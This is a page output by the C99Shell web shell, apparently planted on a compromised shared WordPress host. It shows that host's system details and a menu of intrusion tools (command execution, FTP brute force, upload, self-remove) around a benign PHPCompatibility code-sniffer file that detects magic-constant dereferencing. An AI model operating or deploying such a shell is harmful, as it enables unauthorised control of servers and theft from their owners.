!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/phpcompatibility/php-compatibility/PHPCompatibility/Sniffs/Syntax/   drwxr-xr-x
Free 713.64 GB of 879.6 GB (81.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NewMagicConstantDereferencingSniff.php (3.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHPCompatibility, an external standard for PHP_CodeSniffer.
 *
 * @package   PHPCompatibility
 * @copyright 2012-2020 PHPCompatibility Contributors
 * @license   https://opensource.org/licenses/LGPL-3.0 LGPL3
 * @link      https://github.com/PHPCompatibility/PHPCompatibility
 */

namespace PHPCompatibility\Sniffs\Syntax;

use PHP_CodeSniffer\Files\File;
use PHP_CodeSniffer\Util\Tokens;
use PHPCompatibility\Helpers\ScannedCode;
use PHPCompatibility\Sniff;

/**
 * Detect dereferencing of magic constants as allowed per PHP 8.0.
 *
 * PHP version 8.0
 *
 * @link https://wiki.php.net/rfc/variable_syntax_tweaks#constants_and_magic_constants
 *
 * @since 10.0.0
 */
final class NewMagicConstantDereferencingSniff extends Sniff
{

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @since 10.0.0
     *
     * @return array<int|string>
     */
    public function register()
    {
        return Tokens::$magicConstants;
    }

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @since 10.0.0
     *
     * @param \PHP_CodeSniffer\Files\File $phpcsFile The file being scanned.
     * @param int                         $stackPtr  The position of the current token in
     *                                               the stack passed in $tokens.
     *
     * @return void
     */
    public function process(File $phpcsFile, $stackPtr)
    {
        if (ScannedCode::shouldRunOnOrBelow('7.4') === false) {
            return;
        }

        $tokens       = $phpcsFile->getTokens();
        $nextNonEmpty = $phpcsFile->findNext(Tokens::$emptyTokens, ($stackPtr + 1), null, true);
        if ($nextNonEmpty === false) {
            return;
        }

        if ($tokens[$nextNonEmpty]['code'] !== \T_OPEN_SQUARE_BRACKET) {
            return;
        }

        if (isset($tokens[$nextNonEmpty]['bracket_closer']) === false) {
            // Live coding or parse error.
            return;
        }

        $hasContent = $phpcsFile->findNext(
            Tokens::$emptyTokens,
            ($nextNonEmpty + 1),
            $tokens[$nextNonEmpty]['bracket_closer'],
            true
        );

        if ($hasContent === false) {
            /*
             * Attempt to assign to the magic constant as if it were an array.
             * Not allowed now, nor prior to PHP 8, so not our concern.
             */
            return;
        }

        // Make sure this isn't an array assignment. That would be illegal, i.e. a parse error.
        $nextNext = $tokens[$nextNonEmpty]['bracket_closer'];
        do {
            $nextNext = $phpcsFile->findNext(Tokens::$emptyTokens, ($nextNext + 1), null, true);
            if ($nextNext === false) {
                break;
            }

            // If the next token is an assignment, that's all we need to know.
            if (isset(Tokens::$assignmentTokens[$tokens[$nextNext]['code']]) === true) {
                return;
            }

            // Check if this is an multi-access array assignment, e.g., `__FILE__[1][2] = 'val';` .
            if ($tokens[$nextNext]['code'] === \T_OPEN_SQUARE_BRACKET
                && isset($tokens[$nextNext]['bracket_closer']) === true
            ) {
                $nextNext = $tokens[$nextNext]['bracket_closer'];
                continue;
            }

            break;
        } while (true);

        $phpcsFile->addError(
            'Dereferencing of magic constants is not present in PHP version 7.4 or earlier. Found dereferencing of: %s',
            $nextNonEmpty,
            'Found',
            [$tokens[$stackPtr]['content']]
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0568 ]--